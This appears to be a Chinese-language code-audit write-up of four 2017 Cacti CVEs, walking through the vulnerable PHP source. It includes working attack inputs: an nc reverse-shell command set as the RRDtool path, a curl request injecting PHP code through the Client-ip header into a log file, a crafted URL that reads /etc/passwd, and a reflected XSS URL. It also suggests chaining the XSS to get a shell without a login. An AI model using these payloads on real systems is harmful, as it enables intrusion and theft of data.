0x00 前言

Cacti安装完成后默认口令为admin/cacti,进入后台后常见的getshell方式有:文件上传绕过,修改配置写入代码到配置文件,修改可执行文件路径进行命令注入,修改日志文件路径写入代码等等。
Cacti的路径设置如图:

看到我们可以设置snmp、php、rrdtool二进制文件的路径和日志文件的路径。并在在clog中可以读取日志文件。

结合后台功能进行代码审计

0x01 CVE-2017-16641 远程命令执行

设置RRDtool Binary Path为nc -e /bin/bash 127.0.0.1 1234 #,本地监听1234端口,稍等片刻shell就反弹回来了。
此处路径设置的代码在settings.php,L:33-81

case 'save':
    foreach ($settings{get_request_var('tab')} as $field_name => $field_array) {
        if (($field_array['method'] == 'header') || ($field_array['method'] == 'spacer' )){
            /* do nothing */
        } elseif ($field_array['method'] == 'checkbox') {
            if (isset_request_var($field_name)) {
                db_execute_prepared("REPLACE INTO settings (name, value) VALUES (?, 'on')", array($field_name));
            } else {
                db_execute_prepared("REPLACE INTO settings (name, value) VALUES (?, '')", array($field_name));
            }
        } elseif ($field_array['method'] == 'checkbox_group') {
            foreach ($field_array['items'] as $sub_field_name => $sub_field_array) {
                if (isset_request_var($sub_field_name)) {
                    db_execute_prepared("REPLACE INTO settings (name, value) VALUES (?, 'on')", array($sub_field_name));
                } else {
                    db_execute_prepared("REPLACE INTO settings (name, value) VALUES (?, '')", array($sub_field_name));
                }
            }
        } elseif ($field_array['method'] == 'textbox_password') {
            if (get_nfilter_request_var($field_name) != get_nfilter_request_var($field_name.'_confirm')) {
                raise_message(4);
                break;
            } elseif (!isempty_request_var($field_name)) {
                db_execute_prepared('REPLACE INTO settings (name, value) VALUES (?, ?)', array($field_name, get_nfilter_request_var($field_name)));
            }
        } elseif ((isset($field_array['items'])) && (is_array($field_array['items']))) {
            foreach ($field_array['items'] as $sub_field_name => $sub_field_array) {
                if (isset_request_var($sub_field_name)) {
                    db_execute_prepared('REPLACE INTO settings (name, value) VALUES (?, ?)', array($sub_field_name, get_nfilter_request_var($sub_field_name)));
                }
            }
        } elseif ($field_array['method'] == 'drop_multi') {
            if (isset_request_var($field_name)) {
                if (is_array(get_nfilter_request_var($field_name))) {
                    db_execute_prepared('REPLACE INTO settings (name, value) VALUES (?, ?)', array($field_name, implode(',', get_nfilter_request_var($field_name))));
                } else {
                    db_execute_prepared('REPLACE INTO settings (name, value) VALUES (?, ?)', array($field_name, get_nfilter_request_var($field_name)));
                }
            } else {
                    db_execute_prepared('REPLACE INTO settings (name, value) VALUES (?, "")', array($field_name));
            }
        } elseif (isset_request_var($field_name)) {
            if (is_array(get_nfilter_request_var($field_name))) {
                    db_execute_prepared('REPLACE INTO settings (name, value) VALUES (?, ?)', array($field_name, implode(',', get_nfilter_request_var($field_name))));
            } else {
                    db_execute_prepared('REPLACE INTO settings (name, value) VALUES (?, ?)', array($field_name, get_nfilter_request_var($field_name)));
            }
        }
    }

根据配置中字段的method值进行了不同的处理,查看配置可以知道字段类型为filepath进入最后一个分支,从get_nfilter_request_var(无过滤)获取参数后直接写入数据库。此处的路径可控
include/global_settings.php, L:91-251

$settings = array(
    'path' => array(
        ......
        'path_snmpwalk' => array(
            'friendly_name' => __('snmpwalk Binary Path'),
            'description' => __('The path to your snmpwalk binary.'),
            'method' => 'filepath',
            'max_length' => '255'
            ),
        'path_snmpget' => array(
            'friendly_name' => __('snmpget Binary Path'),
            'description' => __('The path to your snmpget binary.'),
            'method' => 'filepath',
            'max_length' => '255'
            ),
        'path_snmpbulkwalk' => array(
            'friendly_name' => __('snmpbulkwalk Binary Path'),
            'description' => __('The path to your snmpbulkwalk binary.'),
            'method' => 'filepath',
            'max_length' => '255'
            ),
        'path_snmpgetnext' => array(
            'friendly_name' => __('snmpgetnext Binary Path'),
            'description' => __('The path to your snmpgetnext binary.'),
            'method' => 'filepath',
            'max_length' => '255'
            ),
        'path_snmptrap' => array(
            'friendly_name' => __('snmptrap Binary Path'),
            'description' => __('The path to your snmptrap binary.'),
            'method' => 'filepath',
            'max_length' => '255'
            ),
        'path_rrdtool' => array(
            'friendly_name' => __('RRDtool Binary Path'),
            'description' => __('The path to the rrdtool binary.'),
            'method' => 'filepath',
            'max_length' => '255'
            ),
        'path_php_binary' => array(
            'friendly_name' => __('PHP Binary Path'),
            'description' => __('The path to your PHP binary file (may require a php recompile to get this file).'),
            'method' => 'filepath',
            'max_length' => '255'
            ),
        'logging_header' => array(
            'friendly_name' => __('Logging'),
            'collapsible' => 'true',
            'method' => 'spacer',
            ),
        'path_cactilog' => array(
            'friendly_name' => __('Cacti Log Path'),
            'description' => __('The path to your Cacti log file (if blank, defaults to <path_cacti>/log/cacti.log)'),
            'method' => 'filepath',
            'default' => $config['base_path'] . '/log/cacti.log',
            'max_length' => '255'
            ),
            ......
        ),

全局搜索read_config_option('path_rrdtool')发现在lib/rrd.php, L:45-71使用该路径拼接进入命令,需要通过rrd_init函数触发

function rrd_init($output_to_term = true) {
    global $config;

    $args = func_get_args();
    $force_storage_location_local = (isset($config['force_storage_location_local']) && $config['force_storage_location_local'] === true ) ? true : false;
    $function = ($force_storage_location_local === false && read_config_option('storage_location')) ? '__rrd_proxy_init' : '__rrd_init'; //storage_location默认设置为0 Local
    return call_user_func_array($function, $args);
}

function __rrd_init($output_to_term = true) {
    global $config;

    /* set the rrdtool default font */
    if (read_config_option('path_rrdtool_default_font')) {
        putenv('RRD_DEFAULT_FONT=' . read_config_option('path_rrdtool_default_font'));
    }

    if ($output_to_term) {
        $command = read_config_option('path_rrdtool') . ' - ';
    } elseif ($config['cacti_server_os'] == 'win32') {
        $command = read_config_option('path_rrdtool') . ' - > nul';
    } else {
        $command = read_config_option('path_rrdtool') . ' - > /dev/null 2>&1';
    }

    return popen($command, 'w');
}

全局搜索rrd_init(),在poller.php, L:496-502中调用,由于poller.php每隔一段时间自动执行,触发命令反弹shell

if ($poller_id == 1) {  //poller_id默认为1
            /* insert the current date/time for graphs */
            db_execute("REPLACE INTO settings (name, value) VALUES ('date', NOW())");

            /* open a pipe to rrdtool for writing */
            $rrdtool_pipe = rrd_init();
        }

0x02 CVE-2017-16660 远程代码执行

由于可以自定义日志文件路径,于是将日志文件设置为/var/log/cacti/shell.php,然后将php代码写入日志文件中。 Cacti使用cacti_log函数将数据写入到日志文件lib/functions.php` L:527-615

function cacti_log($string, $output = false, $environ = 'CMDPHP', $level = '') {
    global $config;
    ......

    /* determine how to log data */
    $logdestination = read_config_option('log_destination');//默认为1 Logfile Only
    $logfile        = read_config_option('path_cactilog');

    /* format the message */
    if ($environ == 'POLLER') {
        $message = "$date - " . $environ . ': Poller[' . $config['poller_id'] . '] ' . $string . "\n";
    } else {
        $message = "$date - " . $environ . ' ' . $string . "\n";
    }

    /* Log to Logfile */
    if (($logdestination == 1 || $logdestination == 2) && read_config_option('log_verbosity') != POLLER_VERBOSITY_NONE) {
        if ($logfile == '') {
            $logfile = $config['base_path'] . '/log/cacti.log';
        }

        /* echo the data to the log (append) */
        $fp = @fopen($logfile, 'a');

        if ($fp) {
            @fwrite($fp, $message);
            fclose($fp);
        }
    }

全局搜索cacti_log(,在remote_agent.php,L:38-41, 114-147中有一处可利用

if (!remote_client_authorized()) {
    print 'FATAL: You are not authorized to use this service';
    exit;
}
......
function remote_client_authorized() {
    /* don't allow to run from the command line */
    if (isset($_SERVER['HTTP_CLIENT_IP'])) {
        $client_addr = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (isset($_SERVER['X-Forwarded-For'])) {
        $client_addr = $_SERVER['X-Forwarded-For'];
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $client_addr = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
        $client_addr = $_SERVER['HTTP_FORWARDED_FOR'];
    } elseif (isset($_SERVER['HTTP_FORWARDED'])) {
        $client_addr = $_SERVER['HTTP_FORWARDED'];
    } elseif (isset($_SERVER['REMOTE_ADDR'])) {
        $client_addr = $_SERVER['REMOTE_ADDR'];
    } else {
        return false;
    }

    $client_name = strip_domain(gethostbyaddr($client_addr));//warning 解析失败返回false 

    $pollers = db_fetch_assoc('SELECT * FROM poller');

    if (sizeof($pollers)) {
        foreach($pollers as $poller) {
            if (strip_domain($poller['hostname']) == $client_name) {
                return true;
            } elseif ($poller['hostname'] == $client_addr) {
                return true;
            }
        }
    }
    cacti_log("Unauthorized remote agent access attempt from $client_name ($client_addr)");
    return false;
}

$client_name$client_addr两个变量拼接进入字符串,其中$client_addr可以从client-ip中获取并且未过滤。在client-ip中设置php代码,访问/remote_agent.php后可将其写入日志文件中
curl -H "Client-ip: <?php phpinfo();?>" 'http://localhost/cacti/remote_agent.php'

0x03 CVE-2017-16661 任意文件读取

clog中可以查看系统日志。
clog.php中调用clog_view_logfile方法查看日志 lib/clog_webapi.php,L:76-196

function clog_view_logfile() {
    global $config;

    $clogAdmin = clog_admin();
    $logfile   = read_config_option('path_cactilog');

    if (isset_request_var('filename')) {
        $requestedFile = dirname($logfile) . '/' . basename(get_nfilter_request_var('filename'));
        if (file_exists($requestedFile)) {
            $logfile = $requestedFile;

        }

    } elseif ($logfile == '') {
        $logfile = $config['base_path'] . '/log/cacti.log';
    }
    ......
    $logcontents = tail_file($logfile, $number_of_lines, get_request_var('message_type'), get_request_var('rfilter'), $page_nr, $total_rows);   //tail_file - Emulates the tail function with PHP native functions
}

dirname($logfile) . '/' . basename(get_nfilter_request_var('filename')),由于path_cactilogfilename都可控,可以任意设置要读取的文件。例如:将path_cactilog设置为/etc/tmp.log,访问http://localhost/cacti/clog.php?rfilter=&reverse=1&refresh=60&message_type=-1&tail_lines=500&filename=passwd&可读取/etc/passwd

0x04 CVE-2017-16785反射型xss

http://localhost/cacti/host.php/gahv8'-alert(document.domain)-'w6vt7??host_status=-1&host_template_id=-1&site_id=-1&poller_id=-1&rows=-1&filter=& reflect xss

include/auth.php, L:81-172中判断用户是否登录,未登录用户加载auth_login.php进行登录,已登录用户显示后台界面

if (empty($_SESSION['sess_user_id'])) {
    include($config['base_path'] . '/auth_login.php');
    exit;
} elseif (!empty($_SESSION['sess_user_id'])) {
    ...
    include_once('./include/global_session.php');
    ...
}

auth_login.php, L:576,683 读取当前页面路径拼接进入action

<form name='login' method='post' action='<?php print get_current_page();?>'>
......
<?php include_once('./include/global_session.php');?>

lib/function.php, L:2889-2913 PHP_SELF返回当前执行脚本的文件名,但在pathinfo模式下PHP_SELF会返回从文件名到query_string之前的部分。由于pathinfo中的单引号不会被转义,可以在form中构造反射型xss,但这样只会影响未登录用户。

function get_current_page($basename = true) {
    if (isset($_SERVER['PHP_SELF']) && $_SERVER['PHP_SELF'] != '') {
        if ($basename) {
            return basename($_SERVER['PHP_SELF']);
        } else {
            return $_SERVER['PHP_SELF'];
        }
    } elseif(){
    ......
    }
    return false;
}

include/global_session.php, L:91 获取REQUEST_URL过滤html标签过来非url字符后作为js参数拼接进入字符串。同理配合pathinfo模式引入单引号构造反射型xss,同时影响登录用户和未登录用户。
var requestURI='<?php print filter_var(strip_tags($_SERVER['REQUEST_URI']), FILTER_SANITIZE_URL);?>';

0x05 番外

前面的两处RCE都需要管理员身份来触发,当我们没有口令登录后台时,可以配合反射型xss来getshell

源链接

Hacking more

...